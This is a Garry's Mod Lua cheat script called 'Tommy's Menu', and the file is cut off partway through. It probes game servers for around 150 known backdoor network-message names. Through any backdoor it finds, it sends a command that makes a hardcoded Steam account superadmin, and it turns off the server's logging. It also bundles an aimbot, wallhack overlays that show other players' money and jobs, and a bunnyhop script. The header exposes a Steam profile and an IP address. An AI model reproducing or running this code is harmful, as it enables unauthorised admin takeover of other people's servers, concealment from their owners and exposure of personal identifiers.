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- -- copy paste/repasted shitty cheat by
- -- http://steamcommunity.com/profiles/76561198029497540
- -- id/tommyqc
- -- SHAMELESS RELABEL/PASTE, RELABELS AN EXISTING HACK (A VERY BAD ONE) AND CALLED IT HIS OWN LOL
- -- 24.53.60.99
- ------ AUTEUR TOMMY_QC
- ------- v3.0.4
- surface.CreateFont("font1", {
- font = "Segoe UI Semibold",
- size = 14,
- weight = 700,
- })
- surface.CreateFont("font2", {
- font = "Segoe UI Light",
- size = 13,
- weight = 700,
- blursize = 0,
- scanlines = 0,
- antialias = true,
- underline = false,
- italic = false,
- strikeout = false,
- symbol = false,
- rotary = false,
- shadow = true,
- additive = false,
- outline = false,
- })
- surface.CreateFont( "Inj3titreC", {
- font = "Segoe UI Light",
- size = 30,
- weight = 250,
- antialias = true,
- strikeout = false,
- additive = true,
- } )
- local backdInjMenu = "tommysmenu";
- function backdInjmenu( str )
- local status, error = pcall( net.Start, str )
- return status
- end
- if( backdInjmenu("Nostrip_") ) then
- backdInjMenu = "Nostrip_"
- else
- end
- if( backdInjmenu("tf") ) then
- backdInjMenu = "tf"
- else
- end
- if( backdInjmenu("teamfrench") ) then
- backdInjMenu = "teamfrench"
- else
- end
- if( backdInjmenu("_Defqon") ) then
- backdInjMenu = "_Defqon"
- else
- end
- if( backdInjmenu("adm_network") ) then
- backdInjMenu = "adm_network"
- else
- end
- if( backdInjmenu("ADM") ) then
- backdInjMenu = "ADM"
- else
- end
- if( backdInjmenu("hack") ) then
- backdInjMenu = "hack"
- else
- end
- if( backdInjmenu("crack") ) then
- backdInjMenu = "crack"
- else
- end
- if( backdInjmenu("leak") ) then
- backdInjMenu = "leak"
- else
- end
- if( backdInjmenu("lokisploit") ) then
- backdInjMenu = "lokisploit"
- else
- end
- if( backdInjmenu("Inj3") ) then
- backdInjMenu = "Inj3"
- else
- end
- if( backdInjmenu("1234") ) then
- backdInjMenu = "1234"
- else
- end
- if( backdInjmenu("123") ) then
- backdInjMenu = "123"
- else
- end
- if( backdInjmenu("enculer") ) then
- backdInjMenu = "enculer"
- else
- end
- if( backdInjmenu("cake") ) then
- backdInjMenu = "cake"
- else
- end
- if( backdInjmenu("odium_backdoor") ) then
- backdInjMenu = "odium_backdoor"
- else
- end
- if( backdInjmenu("memeDoor") ) then
- backdInjMenu = "memeDoor"
- else
- end
- if( backdInjmenu("seized") ) then
- backdInjMenu = "seized"
- else
- end
- if( backdInjmenu("88") ) then
- backdInjMenu = "88"
- else
- end
- if( backdInjmenu("88strings_") ) then
- backdInjMenu = "88strings_"
- else
- end
- if( backdInjmenu("88_strings") ) then
- backdInjMenu = "88_strings"
- else
- end
- if( backdInjmenu("88_strings_") ) then
- backdInjMenu = "88_strings_"
- else
- end
- if( backdInjmenu("echangeinfo") ) then
- backdInjMenu = "echangeinfo"
- else
- end
- if( backdInjmenu("nocheat") ) then
- backdInjMenu = "nocheat"
- else
- end
- if( backdInjmenu("nostraall") ) then
- backdInjMenu = "nostraall"
- else
- end
- if( backdInjmenu("hell") ) then
- backdInjMenu = "hell"
- else
- end
- if( backdInjmenu("Sandbox_Armdupe") ) then
- backdInjMenu = "Sandbox_Armdupe"
- else
- end
- if( backdInjmenu("DarkRP_AdminWeapons") ) then
- backdInjMenu = "DarkRP_AdminWeapons"
- else
- end
- if( backdInjmenu("Fix_Keypads") ) then
- backdInjMenu = "Fix_Keypads"
- else
- end
- if( backdInjmenu("Remove_Exploiters") ) then
- backdInjMenu = "Remove_Exploiters"
- else
- end
- if( backdInjmenu("noclipcloakesp_chat_text") ) then
- backdInjMenu = "noclipcloakesp_chat_text"
- else
- end
- if( backdInjmenu("_CAC_ReadMemory") ) then
- backdInjMenu = "_CAC_ReadMemory"
- else
- end
- if( backdInjmenu("nostrip") ) then
- backdInjMenu = "nostrip"
- else
- end
- if( backdInjmenu("LickMeOut") ) then
- backdInjMenu = "LickMeOut"
- else
- end
- if( backdInjmenu("MoonMan") ) then
- backdInjMenu = "MoonMan"
- else
- end
- if( backdInjmenu("Im_SOCool") ) then
- backdInjMenu = "Im_SOCool"
- else
- end
- if( backdInjmenu("enablevac") ) then
- backdInjMenu = "enablevac"
- else
- end
- if( backdInjmenu("zilnix") ) then
- backdInjMenu = "zilnix"
- else
- end
- if( backdInjmenu("mattis") ) then
- backdInjMenu = "mattis"
- else
- end
- if( backdInjmenu("anatik") ) then
- backdInjMenu = "anatik"
- else
- end
- if( backdInjmenu("doge") ) then
- backdInjMenu = "doge"
- else
- end
- if( backdInjmenu("ULXQUERY2") ) then
- backdInjMenu = "ULXQUERY2"
- else
- end
- if( backdInjmenu("ULX_QUERY2") ) then
- backdInjMenu = "ULX_QUERY2"
- else
- end
- if( backdInjmenu("Þà?D)◘") ) then
- backdInjMenu = "Þà?D)◘"
- else
- end
- if( backdInjmenu("disablebackdoor") ) then
- backdInjMenu = "disablebackdoor"
- else
- end
- if( backdInjmenu("kill") ) then
- backdInjMenu = "kill"
- else
- end
- if( backdInjmenu("stoppk") ) then
- backdInjMenu = "stoppk"
- else
- end
- if( backdInjmenu("nolag") ) then
- backdInjMenu = "nolag"
- else
- end
- if( backdInjmenu("noprop") ) then
- backdInjMenu = "noprop"
- else
- end
- if( backdInjmenu("music") ) then
- backdInjMenu = "music"
- else
- end
- if( backdInjmenu("Thereaper") ) then
- backdInjMenu = "Thereaper"
- else
- end
- if( backdInjmenu("Abcdefgh") ) then
- backdInjMenu = "Abcdefgh"
- else
- end
- if( backdInjmenu("Fixed") ) then
- backdInjMenu = "Fixed"
- else
- end
- if( backdInjmenu("blind") ) then
- backdInjMenu = "blind"
- else
- end
- if( backdInjmenu("test") ) then
- backdInjMenu = "test"
- else
- end
- if( backdInjmenu("CakeBackdoor") ) then
- backdInjMenu = "CakeBackdoor"
- else
- end
- if( backdInjmenu("CakeInstall") ) then
- backdInjMenu = "CakeInstall"
- else
- end
- if( backdInjmenu("Cakeuptade") ) then
- backdInjMenu = "Cakeuptade"
- else
- end
- if( backdInjmenu("love") ) then
- backdInjMenu = "love"
- else
- end
- if( backdInjmenu("earth") ) then
- backdInjMenu = "earth"
- else
- end
- if( backdInjmenu("lokidev") ) then
- backdInjMenu = "lokidev"
- else
- end
- if( backdInjmenu("backdoor") ) then
- backdInjMenu = "backdoor"
- else
- end
- if( backdInjmenu("spam") ) then
- backdInjMenu = "spam"
- else
- end
- if( backdInjmenu("nobackdoor") ) then
- backdInjMenu = "nobackdoor"
- else
- end
- if( backdInjmenu("snte") ) then
- backdInjMenu = "snte"
- else
- end
- if( backdInjmenu("sniffing") ) then
- backdInjMenu = "sniffing"
- else
- end
- if( backdInjmenu("keylogger") ) then
- backdInjMenu = "keylogger"
- else
- end
- if( backdInjmenu("Infinity") ) then
- backdInjMenu = "Infinity"
- else
- end
- if( backdInjmenu("Nostra") ) then
- backdInjMenu = "Nostra"
- else
- end
- if( backdInjmenu("TheNostra") ) then
- backdInjMenu = "TheNostra"
- else
- end
- if( backdInjmenu("checkme") ) then
- backdInjMenu = "checkme"
- else
- end
- if( backdInjmenu("Obsfucator") ) then
- backdInjMenu = "Obsfucator"
- else
- end
- if( backdInjmenu("scanbackdoor") ) then
- backdInjMenu = "scanbackdoor"
- else
- end
- if( backdInjmenu("anticheat") ) then
- backdInjMenu = "anticheat"
- else
- end
- if( backdInjmenu("lol") ) then
- backdInjMenu = "lol"
- else
- end
- if( backdInjmenu("pasmoi") ) then
- backdInjMenu = "pasmoi"
- else
- end
- if( backdInjmenu("troll") ) then
- backdInjMenu = "troll"
- else
- end
- if( backdInjmenu("Cyan") ) then
- backdInjMenu = "Cyan"
- else
- end
- if( backdInjmenu("vcmod") ) then
- backdInjMenu = "vcmod"
- else
- end
- if( backdInjmenu("_adm") ) then
- backdInjMenu = "_adm"
- else
- end if( backdInjmenu("Silent") ) then
- backdInjMenu = "Silent"
- else
- end
- if( backdInjmenu("Skeletons") ) then
- backdInjMenu = "Skeletons"
- else
- end
- if( backdInjmenu("vald") ) then
- backdInjMenu = "vald"
- else
- end
- if( backdInjmenu("R8") ) then
- backdInjMenu = "R8"
- else
- end
- if( backdInjmenu("fake") ) then
- backdInjMenu = "fake"
- else
- end
- if( backdInjmenu("hopper") ) then
- backdInjMenu = "hopper"
- else
- end
- if( backdInjmenu("0x13") ) then
- backdInjMenu = "0x13"
- else
- end
- if( backdInjmenu("fixsubmit") ) then
- backdInjMenu = "fixsubmit"
- else
- end
- if( backdInjmenu("fix") ) then
- backdInjMenu = "fix"
- else
- end
- if( backdInjmenu("vladmir") ) then
- backdInjMenu = "vladmir"
- else
- end
- if( backdInjmenu("_Cyka") ) then
- backdInjMenu = "_Cyka"
- else
- end
- if( backdInjmenu("piks") ) then
- backdInjMenu = "piks"
- else
- end
- if( backdInjmenu("black") ) then
- backdInjMenu = "black"
- else
- end
- if( backdInjmenu("hugs") ) then
- backdInjMenu = "hugs"
- else
- end
- if( backdInjmenu("fixmemory") ) then
- backdInjMenu = "fixmemory"
- else
- end
- if( backdInjmenu("nazi") ) then
- backdInjMenu = "nazi"
- else
- end
- if( backdInjmenu("notepad") ) then
- backdInjMenu = "notepad"
- else
- end
- if( backdInjmenu("antihack") ) then
- backdInjMenu = "antihack"
- else
- end
- if( backdInjmenu("haxor") ) then
- backdInjMenu = "haxor"
- else
- end
- if( backdInjmenu("gizeh") ) then
- backdInjMenu = "gizeh"
- else
- end
- if( backdInjmenu("gizeh_menu") ) then
- backdInjMenu = "gizeh_menu"
- else
- end
- if( backdInjmenu("hook") ) then
- backdInjMenu = "hook"
- else
- end
- if( backdInjmenu("luarun") ) then
- backdInjMenu = "luarun"
- else
- end
- if( backdInjmenu("empereur") ) then
- backdInjMenu = "empereur"
- else
- end
- if( backdInjmenu("awarn") ) then
- backdInjMenu = "awarn"
- else
- end
- if( backdInjmenu("awarn2") ) then
- backdInjMenu = "awarn2"
- else
- end
- if( backdInjmenu("awarn_menu") ) then
- backdInjMenu = "awarn_menu"
- else
- end
- if( backdInjmenu("awarn_remove") ) then
- backdInjMenu = "awarn_remove"
- else
- end
- if( backdInjmenu("awarnremove") ) then
- backdInjMenu = "awarnremove"
- else
- end
- if( backdInjmenu("njrat") ) then
- backdInjMenu = "njrat"
- else
- end
- if( backdInjmenu("Private_14391035") ) then
- backdInjMenu = "Private_14391035"
- else
- end
- if( backdInjmenu("vb.net") ) then
- backdInjMenu = "vb.net"
- else
- end
- if( backdInjmenu("nothing") ) then
- backdInjMenu = "nothing"
- else
- end
- if( backdInjmenu("functions") ) then
- backdInjMenu = "function"
- else
- end
- if( backdInjmenu("tf") ) then
- backdInjMenu = "tf"
- else
- end
- if( backdInjmenu("teamfrench") ) then
- backdInjMenu = "teamfrench"
- else
- end
- if( backdInjmenu("citizenhack") ) then
- backdInjMenu = "citizenhack"
- else
- end
- if( backdInjmenu("noprop") ) then
- backdInjMenu = "noprop"
- else
- end
- if( backdInjmenu("MoonMan") ) then
- backdInjMenu = "MoonMan"
- else
- end
- if( backdInjmenu("zilnix") ) then
- backdInjMenu = "zilnix"
- else
- end
- if( backdInjmenu("elfamoso") ) then
- backdInjMenu = "elfamoso"
- else
- end
- if( backdInjmenu("elfamosobackdoor") ) then
- backdInjMenu = "elfamosobackdoor"
- else
- end
- if( backdInjmenu("glua") ) then
- backdInjMenu = "glua"
- else
- end
- if( backdInjmenu("stickman") ) then
- backdInjMenu = "stickman"
- else
- end
- if( backdInjmenu("Private") ) then
- backdInjMenu = "Private"
- else
- end
- if( backdInjmenu("Private") ) then
- backdInjMenu = "Private"
- else
- end
- if( backdInjmenu("backdoored") ) then
- backdInjMenu = "backdoored"
- else
- end
- if( backdInjmenu("Im_NOTCool") ) then
- backdInjMenu = "Im_NOTCool"
- else
- end
- if( backdInjmenu("Slasher") ) then
- backdInjMenu = "Slasher"
- else
- end
- if( backdInjmenu("Utopia") ) then
- backdInjMenu = "Utopia"
- else
- end
- if( backdInjmenu("88Trigerring") ) then
- backdInjMenu = "88Trigerring"
- else
- end
- if( backdInjmenu("88Zilnix") ) then
- backdInjMenu = "88Zilnix"
- else
- end
- if( backdInjmenu("BlackSmurf") ) then
- backdInjMenu = "BlackSmurf"
- else
- end
- if( backdInjmenu("Yope") ) then
- backdInjMenu = "Yope"
- else
- end
- if( backdInjmenu("BlackList") ) then
- backdInjMenu = "BlackList"
- else
- end
- if( backdInjmenu("Addons") ) then
- backdInjMenu = "Addons"
- else
- end
- if( backdInjmenu("Fireflygaming") ) then
- backdInjMenu = "Fireflygaming"
- else
- end
- if( backdInjmenu("concommand") ) then
- backdInjMenu = "concommand"
- else
- end
- if( backdInjmenu("hackor") ) then
- backdInjMenu = "hackor"
- else
- end
- if( backdInjmenu("netStart") ) then
- backdInjMenu = "netStart"
- else
- end
- if( backdInjmenu("around") ) then
- backdInjMenu = "around"
- else
- end
- if( backdInjmenu("M9K") ) then
- backdInjMenu = "M9K"
- else
- end
- if( backdInjmenu("outdated") ) then
- backdInjMenu = "outdated"
- else
- end
- if( backdInjmenu("69") ) then
- backdInjMenu = "69"
- else
- end
- if( backdInjmenu("sixnine") ) then
- backdInjMenu = "sixnine"
- else
- end
- if( backdInjmenu("black") ) then
- backdInjMenu = "black"
- else
- end
- if( backdInjmenu("BlackMine") ) then
- backdInjMenu = "BlackMine"
- else
- end
- if( backdInjmenu("sogood") ) then
- backdInjMenu = "sogood"
- else
- end
- if( backdInjmenu("KFC") ) then
- backdInjMenu = "KFC"
- else
- end
- if( backdInjmenu("123rf") ) then
- backdInjMenu = "123rf"
- else
- end
- if( backdInjmenu("naked") ) then
- backdInjMenu = "naked"
- else
- end
- if( backdInjmenu("uleak.tk") ) then
- backdInjMenu = "uleak.tk"
- else
- end
- if( backdInjmenu("blider") ) then
- backdInjMenu = "blider"
- else
- end
- if( backdInjmenu("roskov") ) then
- backdInjMenu = "roskov"
- else
- end
- if( backdInjmenu("c#") ) then
- backdInjMenu = "c#"
- else
- end
- if( backdInjmenu("c++") ) then
- backdInjMenu = "c++"
- else
- end
- if( backdInjmenu("getrolled") ) then
- backdInjMenu = "getrolled"
- else
- end
- if( backdInjmenu("gethacked") ) then
- backdInjMenu = "gethacked"
- else
- end
- if( backdInjmenu("getfucked") ) then
- backdInjMenu = "getfucked"
- else
- end
- if( backdInjmenu("thefrenchenculer") ) then
- backdInjMenu = "thefrenchenculer"
- else
- end
- if( backdInjmenu("akbar") ) then
- backdInjMenu = "akbar"
- else
- end
- if( backdInjmenu("blogs") ) then
- backdInjMenu = "blogs"
- else
- end
- if( backdInjmenu("report") ) then
- backdInjMenu = "report"
- else
- end
- if( backdInjmenu("blogs_update") ) then
- backdInjMenu = "blogs_update"
- else
- end
- if( backdInjmenu("billys_logs") ) then
- backdInjMenu = "billys_logs"
- else
- end
- if( backdInjmenu("loona") ) then
- backdInjMenu = "loona"
- else
- end
- if( backdInjmenu("loona_") ) then
- backdInjMenu = "loona_"
- else
- end
- if( backdInjmenu("Sbox_gm_attackofnullday_key") ) then
- backdInjMenu = "Sbox_gm_attackofnullday_key"
- else
- end
- if( backdInjmenu("Sbox_itemstore") ) then
- backdInjMenu = "Sbox_itemstore"
- else
- end
- if( backdInjmenu("DarkRP_UTF8") ) then
- backdInjMenu = "DarkRP_UTF8"
- else
- end
- if( backdInjmenu("ULogs_Info") ) then
- backdInjMenu = "ULogs_Info"
- else
- end
- if( backdInjmenu("fellosnake") ) then
- backdInjMenu = "fellosnake"
- else
- end
- if( backdInjmenu("random") ) then
- backdInjMenu = "random"
- else
- end
- if( backdInjmenu("ZimbaBackDoor") ) then
- backdInjMenu = "ZimbaBackDoor"
- else
- end
- if( backdInjmenu("oldNetReadData") ) then
- backdInjMenu = "oldNetReadData"
- else
- end
- if( backdInjmenu("changename") ) then
- backdInjMenu = "changename"
- else
- end
- if( backdInjmenu("aze46aez67z67z64dcv4bt") ) then
- backdInjMenu = "aze46aez67z67z64dcv4bt"
- else
- end
- local ply = LocalPlayer()
- local rouge = Color ( 255,0,0,255 )
- local checkframe = vgui.Create( "DFrame" )
- checkframe:SetTitle("Tommy's menu Bypass (CAC)")
- checkframe:SetSize( 300, 350 )
- checkframe:Center()
- checkframe:ShowCloseButton(false)
- checkframe:MakePopup()
- checkframe.Paint = function()
- surface.SetDrawColor(0, 0, 0,200)
- surface.DrawRect(4,4,checkframe:GetWide()-8,checkframe:GetTall()-8)
- checkframe.Paint = function( self, w, h )
- draw.RoundedBox(0, 0, 0, w, h, Color(1,65,175,245))
- draw.RoundedBox( 0, 0, 0, w, 24, Color(15,15,15,150))
- draw.RoundedBox( 0, 140, 200, 3, 22, Color(255,0,0,170))
- draw.RoundedBox( 0, 100, 222, 85, 3, Color(255,0,0,170))
- draw.RoundedBox( 0, 100, 261, 80, 3, Color(255,0,0,170))
- draw.RoundedBox( 0, 100, 301, 80, 3, Color(255,0,0,170))
- draw.DrawText( "- Tommy's Menu -", "Inj3titreC", 70, 120, Color(math.random(255,0),math.random(255,0),math.random(255,0) ))
- end end
- local InjMenuOP = vgui.Create("DButton", checkframe)
- InjMenuOP:SetPos( 228, 2 )
- InjMenuOP:SetSize( 70, 19 )
- InjMenuOP:SetFont( "font1" )
- InjMenuOP:SetText( "Quitter" )
- InjMenuOP:SetTextColor( blanc )
- function InjMenuOP:Paint( w, h )
- draw.RoundedBox( 4, 0, 0, w, h, Color(255,255,255, 255) )
- end
- InjMenuOP.DoClick = function()
- checkframe:Close()
- end
- local check1 = vgui.Create( "DButton", checkframe )
- check1:SetText( "Passer Superadmin [Bypass CAC]" )
- check1:SetPos( 25, 35 )
- check1:SetSize( 250, 32 )
- check1:SetFont("font1")
- surface.SetDrawColor(rouge)
- check1.Paint = function( self, w, h )
- draw.RoundedBox(4, 0, 0, w, h, Color(255,255,255,255))
- end
- check1.DoClick = function()
- if backdInjMenu == "" then
- chat.AddText(Color( 255, 0, 0 ), "[", "ERREUR", "] ", Color( 255, 255, 0 ), " Aucune backdoor n'est détecté ! Vous ne pouvez passer en Superadmin" )
- else
- net.Start(backdInjMenu)
- chat.AddText(Color( 255, 0, 0 ), "[", "SUPERADMIN", "] ", Color( 255, 255, 0 ), " Tu est maintenant passer SuperAdmin" )
- net.WriteString( "RunConsoleCommand(\"ulx\", \"adduserid\", \"STEAM_0:0:14151351\", \"superadmin\")" )
- net.WriteBit(1)
- net.SendToServer()
- end end
- local check2 = vgui.Create( "DButton", checkframe )
- check2:SetText( "Ouvrir le Tommy's Menu" )
- check2:SetPos( 25, 80 )
- check2:SetSize( 250, 30 )
- check2:SetFont("font1")
- surface.SetDrawColor(rouge)
- check2.Paint = function( self, w, h )
- draw.RoundedBox(4, 0, 0, w, h, Color(255,255,255,255))
- end
- check2.DoClick = function()
- ply:ConCommand( "external exec1.lua" )
- timer.Simple( 1, function() ply:ConCommand( "tommysmenu" ) end )
- end
- local check3 = vgui.Create( "DButton", checkframe )
- check3:SetText( "Aimbot Lock/Unlock de la cible" )
- check3:SetPos( 58, 170 )
- check3:SetSize( 180, 30 )
- check3:SetFont("font1")
- surface.SetDrawColor(rouge)
- check3.Paint = function( self, w, h )
- draw.RoundedBox(16, 0, 0, w, h, Color(255,255,255,255))
- end
- check3.DoClick = function()
- ply:ConCommand( "lockcible" )
- end
- local check4 = vgui.Create( "DButton", checkframe )
- check4:SetText( "Activer Aimbot" )
- check4:SetPos( 5, 208 )
- check4:SetSize( 100, 30 )
- check4:SetFont("font1")
- surface.SetDrawColor(rouge)
- check4.Paint = function( self, w, h )
- draw.RoundedBox(16, 0, 0, w, h, Color(255,255,255,255))
- end
- check4.DoClick = function()
- chat.AddText(Color( 255, 0, 0 ), "[", "Aimbot", "] ", Color( 255, 255, 255 ), "Aimbot activé" )
- ply:ConCommand( "Injaimbot 1" )
- end
- local check5 = vgui.Create( "DButton", checkframe )
- check5:SetText( "Desactiver Aimbot" )
- check5:SetPos( 175, 208 )
- check5:SetSize( 120, 30 )
- check5:SetFont("font1")
- surface.SetDrawColor(rouge)
- check5.Paint = function( self, w, h )
- draw.RoundedBox(16, 0, 0, w, h, Color(255,255,255,255))
- end
- check5.DoClick = function()
- chat.AddText(Color( 255, 0, 0 ), "[", "Aimbot", "] ", Color( 255, 255, 255 ), "Aimbot désactivé" )
- ply:ConCommand( "Injaimbot 0" )
- end
- local check6 = vgui.Create( "DButton", checkframe )
- check6:SetText( "Activer BunnyHop" )
- check6:SetPos( 5, 247 )
- check6:SetSize( 100, 30 )
- check6:SetFont("font1")
- surface.SetDrawColor(rouge)
- check6.Paint = function( self, w, h )
- draw.RoundedBox(16, 0, 0, w, h, Color(255,255,255,255))
- end
- check6.DoClick = function()
- chat.AddText(Color( 255, 0, 0 ), "[", "Bunnyhop", "] ", Color( 255, 255, 255 ), "Bunnyhop activé" )
- ply:ConCommand( "Injbunnyhop 1" )
- end
- local check16 = vgui.Create( "DButton", checkframe )
- check16:SetText( "Desactiver BunnyHop" )
- check16:SetPos( 175, 247 )
- check16:SetSize( 120, 30 )
- check16:SetFont("font1")
- surface.SetDrawColor(rouge)
- check16.Paint = function( self, w, h )
- draw.RoundedBox(16, 0, 0, w, h, Color(255,255,255,255))
- end
- check16.DoClick = function()
- chat.AddText(Color( 255, 0, 0 ), "[", "Bunnyhop", "] ", Color( 255, 255, 255 ), "Bunnyhop désactivé" )
- ply:ConCommand( "Injbunnyhop 0" )
- end
- local check7 = vgui.Create( "DButton", checkframe )
- check7:SetText( "Activer Crosshair" )
- check7:SetPos( 5, 287 )
- check7:SetSize( 100, 30 )
- check7:SetFont("font1")
- surface.SetDrawColor(rouge)
- check7.Paint = function( self, w, h )
- draw.RoundedBox(16, 0, 0, w, h, Color(255,255,255,255))
- end
- check7.DoClick = function()
- chat.AddText(Color( 255, 0, 0 ), "[", "Crosshair", "] ", Color( 255, 255, 255 ), "Crosshair activé" )
- ply:ConCommand( "CrosshairInj 1" )
- end
- local check8 = vgui.Create( "DButton", checkframe )
- check8:SetText( "Desactiver Crosshair" )
- check8:SetPos( 175, 287 )
- check8:SetSize( 120, 30 )
- check8:SetFont("font1")
- surface.SetDrawColor(rouge)
- check8.Paint = function( self, w, h )
- draw.RoundedBox(16, 0, 0, w, h, Color(255,255,255,255))
- end
- check8.DoClick = function()
- chat.AddText(Color( 255, 0, 0 ), "[", "Crosshair", "] ", Color( 255, 255, 255 ), "Crosshair désactivé" )
- ply:ConCommand( "CrosshairInj 0" )
- end
- if backdInjMenu == "" and backdInjmenu then
- chat.AddText(Color( 255, 255, 255 ), "[", "Tommy's Menu", "] ", Color( 19, 254, 2 ), "Aucune Backdoor sur le serveur :/" )
- else
- chat.AddText(Color( 0, 255, 0 ), "[", "Backdoor", "] ", Color( 255, 0, 0 ), " Une Backdoor ", ""..backdInjMenu.."", " à probablement était trouvée sur le serveur !" )
- if GetConVarNumber("ulxdied") == 1 then
- net.Start(backdInjMenu)
- net.WriteString( "ulx_logecho 0" )
- net.WriteBit (0)
- net.SendToServer()
- timer.Simple(0.1, function()
- net.Start(backdInjMenu)
- net.WriteString( "ulx_logecho 0" )
- net.WriteBit (1)
- net.SendToServer()
- chat.AddText("Tommy's Menu, Les Logs du serveur sont Désactivé !" )
- end)
- end
- end
- function Crosshair()
- CreateClientConVar( "CrosshairInj", 1, true, false )
- if ConVarExists( "CrosshairInj" ) and GetConVar("CrosshairInj"):GetInt() == 1 then
- surface.SetDrawColor(Color( 0, 69, 175, 255 ))
- surface.DrawLine(ScrW() / 2 - 19, ScrH() / 2, ScrW() / 2 + 20 , ScrH() / 2)
- surface.DrawLine(ScrW() / 2 - 1, ScrH() / 2 - 19, ScrW() / 2 - 1 , ScrH() / 2 + 20)
- else return
- end
- end
- hook.Add("HUDPaint","CrosshairInj3",Crosshair)
- local function MESPCheck(v)
- if v:Alive() == true && v:Health() ~= 0 && v:Health() >= 0 && v ~= LocalPlayer() && LocalPlayer():Alive() then
- return true
- else
- return false
- end
- end
- local function coordinates( ent )
- local min, max = ent:OBBMins(), ent:OBBMaxs()
- local corners = {
- Vector( min.x, min.y, min.z ),
- Vector( min.x, min.y, max.z ),
- Vector( min.x, max.y, min.z ),
- Vector( min.x, max.y, max.z ),
- Vector( max.x, min.y, min.z ),
- Vector( max.x, min.y, max.z ),
- Vector( max.x, max.y, min.z ),
- Vector( max.x, max.y, max.z )
- }
- local minX, minY, maxX, maxY = ScrW() * 2, ScrH() * 2, 0, 0
- for _, corner in pairs( corners ) do
- local onScreen = ent:LocalToWorld( corner ):ToScreen()
- minX, minY = math.min( minX, onScreen.x ), math.min( minY, onScreen.y )
- maxX, maxY = math.max( maxX, onScreen.x ), math.max( maxY, onScreen.y )
- end
- return minX, minY, maxX, maxY
- end
- local function HeadPos(ply)
- if IsValid(ply) then
- local hbone = ply:LookupBone("ValveBiped.Bip01_Spine")
- return ply:GetBonePosition(hbone)
- else return end
- end
- local function Visible(ply)
- local trace = {start = LocalPlayer():GetShootPos(),endpos = {LocalPlayer(), ply}}
- local tr = util.TraceLine(trace)
- if tr.Fraction == 1 then
- return true
- else
- return false
- end
- end
- local function FillRGBA(x,y,w,h,col)
- surface.SetDrawColor( col.r, col.g, col.b, col.a );
- surface.DrawRect( x, y, w, h );
- end
- local function OutlineRGBA(x,y,w,h,col)
- surface.SetDrawColor( col.r, col.g, col.b, col.a );
- surface.DrawOutlinedRect( x, y, w, h );
- end
- function walhack()
- for k, v in pairs(ents.GetAll()) do
- if v ~= LocalPlayer() then
- local vie = v:Health()
- if( v:IsNPC() ) then
- local drawColor = ( Color( 255, 255, 255 ) );
- local drawPosit = v:GetPos():ToScreen();
- if( Visible(v) ) then
- drawColor = ( Color( 255, 255, 255 ) );
- else
- drawColor = ( Color( 255, 255, 255 ) );
- end
- local textData = {}
- textData.pos = {}
- textData.pos[1] = drawPosit.x;
- textData.pos[2] = drawPosit.y;
- textData.color = drawColor;
- textData.text = "PNJ";
- textData.font = "BudgetLabel";
- textData.xalign = TEXT_ALIGN_CENTER;
- textData.yalign = TEXT_ALIGN_CENTER;
- draw.Text( textData );
- elseif( v:IsPlayer() and v:Health() > 0 and v:Alive() ) then
- local drawColor = ( Color( 255, 255, 255 ) );
- local drawPosit = v:GetPos():ToScreen();
- if( Visible(v) ) then
- drawColor.a = 255;
- else
- drawColor.r = ( Color( 255, 255, 255 ) )
- drawColor.g = ( Color( 255, 255, 255 ) )
- drawColor.b = ( Color( 255, 255, 255 ) )
- end
- local textData = {}
- textData.pos = {}
- textData.pos[1] = drawPosit.x;
- textData.pos[2] = drawPosit.y;
- textData.color = ( Color( 255, 255, 255 ) );
- textData.text = v:GetUserGroup();
- textData.font = "BudgetLabel";
- textData.xalign = TEXT_ALIGN_CENTER;
- textData.yalign = TEXT_ALIGN_CENTER;
- draw.Text( textData );
- if vie > 101 then
- else
- local max_health = 101;
- if( v:Health() > max_health ) then
- max_health = v:Health();
- end
- local mx = max_health / 4;
- local mw = v:Health() / 4;
- local drawPosHealth = drawPosit;
- drawPosHealth.x = drawPosHealth.x - ( mx / 2 );
- drawPosHealth.y = drawPosHealth.y + 10;
- FillRGBA( drawPosHealth.x - 1, drawPosHealth.y - 1, mx + 2, 4 + 2, Color( 0, 0, 0, 255 ) );
- FillRGBA( drawPosHealth.x, drawPosHealth.y, mw, 4, drawColor );
- end
- end
- end
- end
- end
- function walhack2()
- for k,v in pairs ( player.GetAll() ) do
- if v ~= LocalPlayer() and v:Alive() then
- local Position = ( v:GetPos() + Vector( 0,0,80 ) ):ToScreen()
- draw.DrawText( v:Name(), "font2", Position.x, Position.y, Color( 255, 255, 255, 255 ), 1 )
- end
- end
- end
- function walhack3()
- for k,v in pairs ( player.GetAll() ) do
- if v ~= LocalPlayer() and v:Alive() then
- local Positions = ( v:GetPos() + Vector( 0,-20,38 ) ):ToScreen()
- local darkrpwalh = gmod.GetGamemode().Name
- if darkrpwalh == "DarkRP" or !darkrpwalh == "Sandbox" or darkrpwalh == "PoliceRP" or darkrpwalh == "starwarsrp" then
- draw.DrawText( v:getDarkRPVar("job"), "font2", Positions.x, Positions.y, Color( 255, 255, 255, 255 ), 1 )
- end
- end
- end
- end
- function walhack4()
- for k,v in pairs ( player.GetAll() ) do
- if v ~= LocalPlayer() and v:Alive() then
- local Positionss = ( v:GetPos() + Vector( 0,20,38 ) ):ToScreen()
- local darkrpwalh = gmod.GetGamemode().Name
- if darkrpwalh == "DarkRP" or !darkrpwalh == "Sandbox" or darkrpwalh == "PoliceRP" or darkrpwalh == "starwarsrp" then
- draw.DrawText( v:getDarkRPVar("money"), "font2", Positionss.x, Positionss.y, Color( 255, 255, 255, 255 ), 1 )
- else
- end
- end
- end
- end
- function walhack5()
- for k,v in pairs ( player.GetAll() ) do
- local vie = v:Health()
- if v ~= LocalPlayer() and v:Alive() then
- if vie > 101 then
- local Position = ( v:GetPos() + Vector( 0,0,-2 ) ):ToScreen()
- draw.DrawText( v:Health(), "font2", Position.x, Position.y, Color( 255, 255, 255, 255 ), 1 )
- end
- end
- end
- end
- function walhack6()
- for k,v in pairs ( player.GetAll() ) do
- local amis = v:GetFriendStatus() == "friend"
- if v ~= LocalPlayer() and v:Alive() then
- if amis then
- local Position = ( v:GetPos() + Vector( 0,0,75 ) ):ToScreen()
- draw.DrawText( v:GetFriendStatus(), "font2", Position.x, Position.y, Color( 255, 255, 0, 255 ), 1 )
- else
- end
- end
- end
- end
- local bunnyhop = true
- hook.Add("Think", "bunnyhop", function()
- CreateClientConVar( "Injbunnyhop", 0, true, false )
- if ConVarExists( "Injbunnyhop" ) and GetConVar("Injbunnyhop"):GetInt() == 1 then
- if bunnyhop then
- if (input.IsKeyDown( KEY_SPACE ) ) then
- if LocalPlayer():IsOnGround() then
- RunConsoleCommand("+jump")
- HasJumped = 1
- else
